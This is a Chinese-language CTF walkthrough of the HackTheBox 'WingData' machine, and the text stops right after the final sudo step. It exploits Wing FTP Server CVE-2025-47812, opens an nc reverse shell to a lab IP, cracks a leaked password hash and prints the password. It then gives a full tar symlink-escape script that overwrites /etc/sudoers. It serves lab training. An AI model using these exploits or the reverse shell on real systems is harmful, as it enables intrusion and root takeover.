【渗透测试】HTB靶场之WingData 全过程wp

WingData

信息收集

得到一个ftp.wingdata.htb,也将这个加上

Wing FTP Server v7.4.3

通过搜寻cve是 CVE-2025-47812

漏洞利用(CVE-2025-47812)

4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)

kotlin 复制代码
python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami" -v

然后反弹shell

kotlin 复制代码
python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.16.5 8888 -e /bin/sh" -v

python3 -c 'import pty;pty.spawn("/bin/bash")'

然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据

复制代码
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP

爆破hash(WingFTP 使用SHA256算法,并使用盐值"WingFTP"为加密方式)

kotlin 复制代码
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt

得到密码!#7Blushing^*Bride5

wacky/c

然后ssh连接

得到user.txt

权限提升

先sudo -l看一下

可以看到有一个py脚本

我们去看一下

复制代码
cat /opt/backup_clients/restore_backup_clients.py
python 复制代码
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1--24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1--24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

我们利用这个脚本生成tar文件

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
生成恶意tar文件的漏洞利用脚本
作用:构造包含多层目录、符号链接的tar文件,尝试突破路径限制写入/etc/sudoers
"""

import tarfile
import os
import io
import sys

def create_malicious_tar(output_path="/tmp/backup_9999.tar"):
    """
    创建恶意tar文件,包含路径遍历和符号链接的构造
    
    Args:
        output_path: 生成的tar文件保存路径,默认/tmp/backup_9999.tar
    """
    # 构造长目录名(247个d),用于突破路径长度限制
    long_dir_name = 'd' * 247
    # 用于构造多层目录的字符序列
    step_chars = "abcdefghijklmnop"
    current_path = ""

    try:
        # 以写模式打开tar文件
        with tarfile.open(output_path, mode="w") as tar:
            # 循环构造多层目录和符号链接
            for char in step_chars:
                # 1. 创建长目录名的目录项
                dir_info = tarfile.TarInfo(os.path.join(current_path, long_dir_name))
                dir_info.type = tarfile.DIRTYPE  # 标记为目录类型
                tar.addfile(dir_info)

                # 2. 创建指向该长目录的符号链接
                symlink_info = tarfile.TarInfo(os.path.join(current_path, char))
                symlink_info.type = tarfile.SYMTYPE  # 标记为符号链接类型
                symlink_info.linkname = long_dir_name  # 链接指向长目录
                tar.addfile(symlink_info)

                # 更新当前路径,进入下一层
                current_path = os.path.join(current_path, long_dir_name)

            # 3. 构造多层符号链接路径,用于路径遍历
            link_path = os.path.join("/".join(step_chars), "l"*254)
            link_info = tarfile.TarInfo(link_path)
            link_info.type = tarfile.SYMTYPE
            link_info.linkname = "../" * len(step_chars)  # 构造回退路径
            tar.addfile(link_info)

            # 4. 创建指向/etc目录的符号链接(escape)
            escape_info = tarfile.TarInfo("escape")
            escape_info.type = tarfile.SYMTYPE
            escape_info.linkname = f"{link_path}/../../../../../../../etc"
            tar.addfile(escape_info)

            # 5. 创建指向/etc/sudoers的硬链接(sudoers_link)
            sudoers_link_info = tarfile.TarInfo("sudoers_link")
            sudoers_link_info.type = tarfile.LNKTYPE
            sudoers_link_info.linkname = "escape/sudoers"
            tar.addfile(sudoers_link_info)

            # 6. 写入恶意内容到sudoers_link(覆盖/etc/sudoers)
            malicious_content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
            file_info = tarfile.TarInfo("sudoers_link")
            file_info.type = tarfile.REGTYPE  # 标记为普通文件类型
            file_info.size = len(malicious_content)  # 指定文件大小
            # 将内容写入tar文件
            tar.addfile(file_info, fileobj=io.BytesIO(malicious_content))

        print(f"[+] 恶意tar文件已生成:{output_path}")
    except Exception as e:
        print(f"[!] 生成tar文件失败:{str(e)}", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    # 支持自定义输出路径(可选参数)
    if len(sys.argv) > 1:
        output_tar = sys.argv[1]
    else:
        output_tar = "/tmp/backup_9999.tar"
    
    create_malicious_tar(output_tar)

复制这个恶意的tar文件到sudo权限的目录下

kotlin 复制代码
cp backup_9999.tar /opt/backup_clients/backups/

然后运行这个sudo脚本

kotlin 复制代码
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil

这时候再去sudo